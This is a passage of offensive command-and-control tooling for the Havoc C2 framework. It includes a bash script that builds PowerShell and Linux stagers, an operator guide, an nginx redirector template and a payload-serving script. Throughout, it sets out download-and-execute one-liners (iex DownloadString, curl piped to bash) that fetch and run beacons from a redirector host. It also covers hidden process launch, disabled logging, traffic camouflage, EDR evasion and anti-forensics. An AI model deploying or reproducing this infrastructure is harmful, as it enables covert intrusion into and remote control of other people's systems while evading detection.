Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
Start-Process -WindowStyle Hidden -FilePath \$outpath
} catch {
# Fail silently
}
EOF
# Bash stager
cat > $PAYLOADS_DIR/stagers/linux_stager.sh << EOF
#!/bin/bash
# Linux download and execute Havoc beacon
# Download binary to /tmp with random name
TMPFILE="/tmp/update-\$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
curl -s -o \$TMPFILE https://$REDIRECTOR_HOST/content/linux/$linux_output
chmod +x \$TMPFILE
# Execute in background
\$TMPFILE &
echo "Update complete."
EOF
chmod +x $PAYLOADS_DIR/stagers/linux_stager.sh
echo "[+] Stagers generated successfully"
}
# Create manifest file
create_manifest() {
payload_info=$1
win_output=$(echo $payload_info | cut -d':' -f1)
dll_output=$(echo $payload_info | cut -d':' -f2)
linux_output=$(echo $payload_info | cut -d':' -f3)
cat > $PAYLOADS_DIR/manifest.json << EOF
{
"windows_exe": "$win_output",
"windows_dll": "$dll_output",
"linux_binary": "$linux_output",
"redirector_host": "$REDIRECTOR_HOST",
"redirector_port": "$REDIRECTOR_PORT",
"c2_host": "$C2_HOST",
"generated_date": "$(date)"
}
EOF
echo "[+] Manifest created successfully"
}
# Create reference file
create_reference() {
payload_info=$1
win_output=$(echo $payload_info | cut -d':' -f1)
dll_output=$(echo $payload_info | cut -d':' -f2)
linux_output=$(echo $payload_info | cut -d':' -f3)
cat > $PAYLOADS_DIR/reference.txt << EOF
Havoc C2 Server Details:
- C2 IP: $C2_HOST
- Redirector Domain: $REDIRECTOR_HOST
Payloads Generated ($(date)):
- Windows EXE: $win_output
- Windows DLL: $dll_output
- Linux Binary: $linux_output
Usage:
1. Ensure your redirector is properly configured to forward requests to the C2 server
2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP
3. Test connectivity before deployment in target environment
Payload deployment:
- PowerShell:
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"
- Linux:
curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
EOF
echo "[+] Reference file created successfully"
}
# Main execution flow
echo "[+] Starting Havoc C2 payload generation..."
echo "[+] Redirector: $REDIRECTOR_HOST"
echo "[+] C2 Host: $C2_HOST"
# Create stagers directory
mkdir -p $PAYLOADS_DIR/stagers
# Generate profiles
generate_profiles
# Generate payloads
payload_info=$(generate_payloads)
# Generate stagers
generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)
# Create manifest
create_manifest "$payload_info"
# Create reference
create_reference "$payload_info"
echo "[+] Havoc payload generation complete!"
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HAVOC C2 OPERATIONS GUIDE
==========================
This guide provides information on using the Havoc C2 framework deployed on
your infrastructure.
SERVER INFORMATION
-----------------
C2 Server IP: {{ c2_ip }}
Redirector Domain: {{ redirector_domain }}
Teamserver Port: 40056
Admin Password: Stored in /opt/havoc/data/profiles/default.yaotl
CONNECTING TO THE TEAMSERVER
---------------------------
From your local machine, you should:
1. Make sure Havoc client is installed on your operator system
2. Connect to the Teamserver:
- Host: {{ c2_ip }}
- Port: 40056
- User: admin
- Password: See /opt/havoc/data/profiles/default.yaotl
Note: You can use the team server CLI with:
$ havoc-teamserver client --username admin --password Your_Password
LISTENERS
--------
Two default listeners are configured:
- HTTP on port 8080
- HTTPS on port 443 (through the redirector)
You can view and manage listeners through the Havoc client.
GENERATING PAYLOADS
-----------------
Pre-generated payloads are available in:
- /opt/havoc/payloads/
For new payloads:
1. Connect to the Teamserver using the Havoc client
2. Navigate to Attack → Payload
3. Choose your payload options and generate
PAYLOAD DELIVERY
--------------
Payloads can be delivered through:
- HTTP server at {{ c2_ip }}:8443
- Through the redirector at {{ redirector_domain }}
PowerShell one-liner:
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://{{ redirector_domain }}/windows_stager.ps1')"
Linux one-liner:
curl -s https://{{ redirector_domain }}/linux_stager.sh | bash
OPERATIONAL SECURITY
------------------
- All connections go through the redirector
- Sleep times of agents are randomized (5s default with 30% jitter)
- Havoc is configured with numerous EDR evasion features
- Anti-forensics measures are enabled in all payloads
TROUBLESHOOTING
--------------
1. If agents can't connect:
- Verify DNS for {{ redirector_domain }} points to your redirector
- Check NGINX configuration on the redirector
- Ensure ports 8080 and 443 are open on respective servers
2. If Havoc Teamserver isn't responding:
- Check service status: systemctl status havoc
- View logs: journalctl -u havoc
- Restart if needed: systemctl restart havoc
3. Use the health command in Havoc client to check Teamserver health
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server {
listen 80;
listen [::]:80;
server_name {{ redirector_domain }};
# Redirect to HTTPS
return 301 https://$host$request_uri;
}
server {
listen 443 ssl;
listen [::]:443 ssl;
server_name {{ redirector_domain }};
# SSL Configuration
ssl_certificate /etc/letsencrypt/live/{{ redirector_domain }}/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/{{ redirector_domain }}/privkey.pem;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
ssl_session_timeout 1d;
ssl_session_cache shared:SSL:10m;
# Root directory
root /var/www/html;
index index.html;
# Primary location for legitimate website traffic
location / {
try_files $uri $uri/ =404;
}
# Havoc C2 HTTP listener paths
location ~ ^/api/v[12]/ {
proxy_pass http://{{ c2_ip }}:8080;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
}
# Havoc C2 HTTPS listener paths
location ~ ^/(dashboard|content)/ {
proxy_pass https://{{ c2_ip }}:443;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_ssl_verify off;
}
# Payload stager paths
location ~ ^/(windows|linux)_stager\.(ps1|sh)$ {
proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
# Payload content paths
location ~ ^/content/(windows|linux)/(.+)$ {
proxy_pass http://{{ c2_ip }}:8443/content/$1/$2;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
# Security headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "no-referrer" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
# Disable logging for this server block if zero-logs is enabled
{% if zero_logs | default(true) | bool %}
access_log off;
error_log /dev/null crit;
{% endif %}
}
# Catch-all server block to respond to unknown hosts
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl default_server;
listen [::]:443 ssl default_server;
# Self-signed cert for catch-all
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
# Redirect all unknown traffic to a legitimate-looking site
return 301 https://www.google.com;
# Disable logs
access_log off;
error_log /dev/null crit;
}
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#!/bin/bash
# Script to serve Havoc C2 payloads generated by generate_havoc_payloads.sh
# Configuration
PAYLOADS_DIR="/root/Tools/havoc/payloads"
C2_HOST="{{ ansible_host }}"
LISTEN_PORT=8443
# Check if manifest file exists (created by generate_havoc_payloads.sh)
if [ -f "$PAYLOADS_DIR/manifest.json" ]; then
echo "[+] Found payload manifest file - using Havoc payloads generated previously"
# Extract payload paths from manifest
WIN_EXE=$(jq -r '.windows_exe' "$PAYLOADS_DIR/manifest.json")
WIN_DLL=$(jq -r '.windows_dll' "$PAYLOADS_DIR/manifest.json")
LINUX_BIN=$(jq -r '.linux_binary' "$PAYLOADS_DIR/manifest.json")
# Print payload info
echo "[+] Using these Havoc payloads:"
echo " - Windows EXE: $WIN_EXE"
echo " - Windows DLL: $WIN_DLL"
echo " - Linux Binary: $LINUX_BIN"
else
echo "[!] No manifest file found. Please run generate_havoc_payloads.sh first."
echo "[!] Will search for payloads in $PAYLOADS_DIR..."
# Try to find payloads directly
WIN_EXE=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.exe" | head -n 1)
WIN_DLL=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.dll" | head -n 1)
LINUX_BIN=$(find "$PAYLOADS_DIR/linux" -maxdepth 1 -type f -executable -not -path "*/\.*" | head -n 1)
if [ -z "$WIN_EXE" ] && [ -z "$LINUX_BIN" ]; then
echo "[!] No Havoc payloads found. Please run generate_havoc_payloads.sh first."
exit 1
fi
# Extract just the filenames
WIN_EXE=$(basename "$WIN_EXE")
WIN_DLL=$(basename "$WIN_DLL")
LINUX_BIN=$(basename "$LINUX_BIN")
fi
# Create temporary directory for web server
TEMP_DIR=$(mktemp -d)
mkdir -p $TEMP_DIR/content/windows
mkdir -p $TEMP_DIR/content/linux
mkdir -p $TEMP_DIR/scripts
# Copy payloads to web directory
if [ -n "$WIN_EXE" ]; then
cp "$PAYLOADS_DIR/windows/$WIN_EXE" $TEMP_DIR/content/windows/
echo "[+] Serving Windows EXE: $WIN_EXE"
fi
if [ -n "$WIN_DLL" ]; then
cp "$PAYLOADS_DIR/windows/$WIN_DLL" $TEMP_DIR/content/windows/
echo "[+] Serving Windows DLL: $WIN_DLL"
fi
if [ -n "$LINUX_BIN" ]; then
cp "$PAYLOADS_DIR/linux/$LINUX_BIN" $TEMP_DIR/content/linux/
echo "[+] Serving Linux Binary: $LINUX_BIN"
fi
# Copy stagers if they exist
if [ -f "$PAYLOADS_DIR/stagers/windows_stager.ps1" ]; then
cp "$PAYLOADS_DIR/stagers/windows_stager.ps1" $TEMP_DIR/windows_stager.ps1
echo "[+] Serving Windows PowerShell stager"
fi
if [ -f "$PAYLOADS_DIR/stagers/linux_stager.sh" ]; then
cp "$PAYLOADS_DIR/stagers/linux_stager.sh" $TEMP_DIR/linux_stager.sh
echo "[+] Serving Linux bash stager"
fi
# Create helpful index page
cat > $TEMP_DIR/index.html << EOL
<!DOCTYPE html>
<html>
<head>
<title>Havoc C2 Payload Downloads</title>
<style>
body { font-family: Arial, sans-serif; max-width: 800px; margin: 0 auto; padding: 20px; }
h1 { color: #333; }
.section { margin-bottom: 30px; padding: 20px; background-color: #f8f8f8; border-radius: 5px; }
.warning { color: #a00; font-weight: bold; }
code { background-color: #eee; padding: 2px 5px; border-radius: 3px; }
</style>
</head>
<body>
<h1>Havoc C2 Payload Downloads</h1>
<div class="section">
<h2>Available Payloads</h2>
<ul>
<li><a href="/content/windows/$WIN_EXE">Windows Payload</a></li>
<li><a href="/content/windows/$WIN_DLL">Windows DLL Payload</a></li>
<li><a href="/content/linux/$LINUX_BIN">Linux Payload</a></li>
</ul>
</div>
<div class="section">
<h2>Auto-Download Scripts</h2>
<ul>
<li><a href="/windows_stager.ps1">Windows PowerShell Downloader</a></li>
<li><a href="/linux_stager.sh">Linux Bash Downloader</a></li>
</ul>
</div>
<div class="section">
<h2>Quick Commands</h2>
<p>Windows PowerShell:</p>
<code>powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')"</code>
<p>Linux Bash:</p>
<code>curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash</code>
</div>
</body>
</html>
EOL
# Start Python HTTP server in background
cd $TEMP_DIR
nohup python3 -m http.server $LISTEN_PORT > /dev/null 2>&1 &
SERVER_PID=$!
echo "[+] Started Havoc payload server with PID $SERVER_PID on $C2_HOST:$LISTEN_PORT"
# Print useful information for the operator
echo "[+] Havoc payload server is now running at http://$C2_HOST:$LISTEN_PORT/"
echo "[+] Available payloads:"
echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_EXE (Windows EXE)"
echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_DLL (Windows DLL)"
echo " - http://$C2_HOST:$LISTEN_PORT/content/linux/$LINUX_BIN (Linux Binary)"
echo ""
echo "[+] Quick PowerShell download command:"
echo "powershell -exec bypass -c \"iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')\""
echo ""
echo "[+] Quick Linux download command:"
echo "curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash"